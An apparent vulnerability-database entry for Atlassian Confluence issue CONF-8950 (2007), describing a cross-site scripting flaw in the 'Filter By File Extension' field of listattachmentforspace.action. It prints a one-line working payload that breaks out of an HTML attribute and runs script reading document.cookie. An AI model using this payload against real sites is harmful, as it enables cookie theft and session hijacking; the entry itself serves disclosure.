Lucene search

K
atlassianFelhoATLASSIAN:CONF-8950
HistoryJul 19, 2007 - 12:41 p.m.

XSS vulnerability in app/spaces/listattachmentforspace.action

2007-07-1912:41:10
felho
jira.atlassian.com
10

Description:
XSS via the β€œFilter By File Extension” field in app/spaces/listattachmentforspace.action.

Exploit:
blah"><script>alert(document.cookie)</script><x x="